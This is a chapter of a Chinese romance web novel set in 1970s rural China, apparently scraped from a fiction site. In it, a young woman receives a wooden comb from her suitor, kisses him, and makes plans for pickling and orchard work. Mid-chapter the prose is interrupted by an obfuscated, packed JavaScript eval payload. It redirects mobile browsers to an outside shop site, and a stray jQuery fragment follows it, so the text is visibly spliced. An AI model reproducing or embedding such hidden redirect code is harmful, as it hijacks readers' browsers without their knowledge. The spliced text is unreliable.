文趣网 > 其他小说 > 七零泼辣美人被撩了 > 29. 礼物
    傍晚,天光将暗未暗,西边的山脊线上还剩一溜橘红色的云带,在天上狠狠地拖着。院子里那棵老树的影子拉得老长,细碎的叶片影子在地上微微颤着,风一过就晃。

    陈绍君正在灶房里捯饬自己白天做得腌菜。忽然听见院门响了一声。

    然后是一串碎碎的、轻快的说话声。

    院门被推开,陈昭宁的声音穿过院子。

    “姐!”

    她的书包斜挎在肩上,脸红扑扑的,眼睛亮得反光。

    一进门,她就扑过来挽住陈绍君的胳膊摇着:“姐!我回来了!你叫姐夫去接我的啊!”

    陈绍君被她晃得手一歪,差点把腌菜坛子带倒,赶紧按住了。抬眼往门口看去,许行简正站在那儿,背着光,肩宽腰窄的轮廓被门框裁成一幅剪影。他手里拎着两个鼓鼓囊囊的布袋子,嘴角弯着,没说话,只静静地看着她。

    陈绍君有些疑惑:“你们怎么现在才回来?”

    “逛——街——去——啦!”陈昭宁拖长了调子,眼角眉梢全是得意,说着又回头冲许行简使眼色,拿胳膊肘推他,“快点儿快点儿,把你买的东西拿给我姐呀!”

    许行简这才往前走了两步,一旁的小黑狗绕着他的腿一直转圈圈。

    他从怀里掏出一样东西,递过来。

    陈绍君用干毛巾擦了擦手,才把东西接过来。

    是一把巴掌长的桃木梳子。

    “怎么想到送梳子给我?”她抬眼。

    他站在门口,日头最后的余晖从他身后照过来,把他的脸笼在阴影里,只看见下颌的弧线和微微抿着的嘴角。

    “昭宁讲,你现在用的那把梳子是吴松舟送的。”

    陈昭宁站在旁边,忽然张嘴就抢了话头——

    “姐!这把梳子可好啦!我陪姐夫在县里的老字号挑的,用好几张票才换到的,这是店里最贵的一把!比吴松舟那把好多了,他那把就是供销社的普通货,齿子都那么宽——”

    她伸出手指比划着,生怕陈绍君不接这话,“这一把是枣木的,老板说越用越亮,能传辈儿呢!”

    陈绍君低头看着手里的梳子,嘴角弯了起来。

    许行简站在灶台边上,耳朵尖泛着一层薄红。

    陈绍君又看了看陈昭宁,小姑娘踮着脚,一脸邀功的表情。

    “行!我以后就用这把。”她说。

    陈昭宁在旁边“耶”了一声,一拍巴掌,转身就冲到一旁的堂屋里。她开心地蹲下去摸小黑狗的头,嘴里叽叽咕咕地说着什么。

    ……

    灶房里又只剩下他们两个人。

    许行简把手里的东西放在桌子上,一件一件地整理。

    陈绍君站在灶台边,重新把手伸进腌菜坛子里。盐粒裹着粗粝的菜叶蹭过指缝,凉丝丝的。她把菜叶一层层码紧,手上动作不紧不慢,嘴角那点弯度还没完全落下去。

    两个人之间隔了一小臂的距离。灶房的煤油灯在她身后,把他的脸照得更清楚了——额角有一层细密的汗,应该是方才走路走得急出的。

    “许行简。”

    “嗯?”

    “你过来。”

    他往前走了两步就到了她跟前。他比她高了大半个头,她得微微仰着脸看他。屋里有点暗,煤油灯的火苗在玻璃罩子里跳了一下,把两个人的影子映在身后的泥墙上,叠在一起,分不太清哪一重是谁的。

    陈绍君踮起脚尖——她的唇在他脸上碰了一下。

    轻轻地,一触即离。

    退开之后,陈绍君挑着眉看着他——他面上的薄红从脖子根开始往上漫。他那双平日里沉得像井一样的眼睛,就像被投了一颗石子,水波一圈一圈地荡开。

    她很主动。

    “你——”他是脸色是冷的,但他的话却接不上去。

    “我什么我,”陈绍君理直气壮地说,“亲一口怎么啦?”

    她说完就走到灶台边,揭锅盖,把蒸笼里热着的馍拿出来,搁在碟子里,又转身去盛熬好的汤。

    许行简站在门口半天没动。陈昭宁从灶房旁边的堂屋里探出半个脑袋,偷偷觑着他,又缩回去,捂着嘴笑得肩膀一抖一抖的。

    等到开饭,陈昭宁这才从厢房里溜出来,嘴里嚷嚷着“姐我饿了我饿了我饿啦”,一屁股挤到陈绍君旁边坐下,手里早就攥好了一双筷子,眼睛却滴溜溜地在许行简和姐姐之间转来转去。

    等到了吃饭的时候,她看一眼姐姐,看一眼许行简,忽然把碟子往许行简那边又推了一大截:“姐夫你多吃菜呀!我姐腌的咸菜可好吃了!”

    说着又拿胳膊肘碰了碰陈绍君,“姐你给人夹菜呀!”

    陈绍君瞥了她一眼,就伸手从碟子里拣了最大一筷子咸菜,搁进许行简的碗里。

    陈昭宁满意地说:“姐夫你吃!我姐炒的咸菜里头搁了干辣椒,可香啦!”

    许行简低着头“嗯”了一声,就把那筷子咸菜拌进饭里,扒着吃了下去。

    陈昭宁这才满意了,低头喝自己的粥,喝完一口又抬起头来,像想起什么似的:“姐夫,你下午在县里买梳子的时候,还说要给我姐买一对金手镯来着,怎么后来没买呀?”

    许行简一口粥差点呛着,咳了两声才咽下去,耳朵尖那点红一下子漫到了耳根。他抬眼飞快地看了陈昭宁一眼,小姑娘正冲他挤眼睛,嘴角弯得压都压不住。他喉咙动了动,低声说:“没看到合适的。”

    “哦——”陈昭宁拖了个长长的尾音,笑眯眯地低头喝粥,碗沿挡住了她大半张脸,只露出一双弯弯的眼睛在碗上方亮晶晶地眨着。

    那顿饭许行简全程没敢再抬头看陈绍君。

    陈昭宁最先吃完饭,把空碗往桌上一搁,就站起来说:“姐我去房里写作业去了。”

    她说着就往厢房走,走到门口又回头,冲许行简比了个口型,嘴唇一开一合,无声地说:多坐会儿。然后一溜烟钻进屋里,“啪”地把门关上了。

    窗外的天全黑了。院子里什么也看不见,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730255|207554||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    只有老树的枝子在夜风里微微摇着,枝梢上的新叶在黑暗里发出极轻的沙沙声。灶膛里的火渐渐小了,橘红色的光在泥地上缩成一小团,把两个人的影子拉得模糊了,融进更深的暗里去。

    许行简把粥喝完的时候,碗底空空的,干净的,连一粒米也没剩。他放下碗,犹豫了一下,终于抬了抬眼皮,飞快地看了陈绍君一眼,又移开了。

    “我回去了。”他说。

    “嗯。”陈绍君站起来,准备收碗。

    他一走。陈昭宁就从房里走了出来。

    她开心地说:“姐——我跟你说,许行简他真买了金手镯给你——可贵了!”

    陈绍君淡淡道:“写你的作业。”

    陈昭宁“嘿嘿”笑了两声,就缩回了房间。

    ……

    这边,公社很快公布了调查结果:赵德厚利用职务之便,贪污倒卖物资,数额较大,开除公职,移送司法机关。

    消息传到刘金玉耳朵里的时候,她正蹲在自家灶房门口择韭菜。只听了一句,她就吓得站起来——

    这一吓,她的膝盖猛地撞上门框,疼得她嘶了一声,缓了好久都没缓过来。前几天,她才去赵德厚家里给赵德厚送了东西……

    接下来的几天,刘金玉连门都不敢出。

    但赵德厚并没有供出刘金玉。

    赵德厚在审讯室里坐了两天,交代了贪污倒卖的全部经过,从第一回偷卖化肥到最后一回倒腾钢筋,算下来大大小小十几桩。在他的记忆里,那些给他送过东西、跟他打过交道的人,统共就一个面目——“谁谁谁屋里的人”、“哪个村谁家的人”——他根本记不住他们的名字,甚至记不清他们长什么样。他们在他那里,只是一个可以搭把手的关系。

    刘金玉的名字,他没想起来。或者说,他从来没放进过脑子里。

    这件事之后,刘金玉就老实了很多。她在巷子里碰见陈绍君,脚步顿一下之后,就侧身贴着墙根走。有时候两个人迎面撞上,距离近了,她就低下头,把脸别到另一边去,等陈绍君走过去了再抬头。

    陈绍君注意到了——她什么也没说。

    她知道是赵德厚的倒台吓到了刘金玉——她的心思,她清楚得很。

    但日子是自己的。这个理儿她早就琢磨透了。

    她有好几件重要的事要做。

    第一件就是——腌菜。家里那几口大缸她早就收拾出来了,把它们洗得缸壁上都泛出青釉似的光了。她在缸前比划了好一阵,心里则默默地盘算着自己能收多少芥菜、多少萝卜、多少雪里蕻……

    第二件就是——盐碱地,不能拖了。碱得发白的地,踩上去咔嚓响,种啥啥不长,播下去的种子像丢进灰堆里一样,连芽都拱不出来。这亩地要是改好了,明年就能种些蔬菜……

    果园的事更大些。在她看来,荒地枯树头两年先栽树育种,第三年就能见着收成。到时候再补种一批新苗,秋天满坡的果子就会红彤彤地挂着……想到这,她很高兴。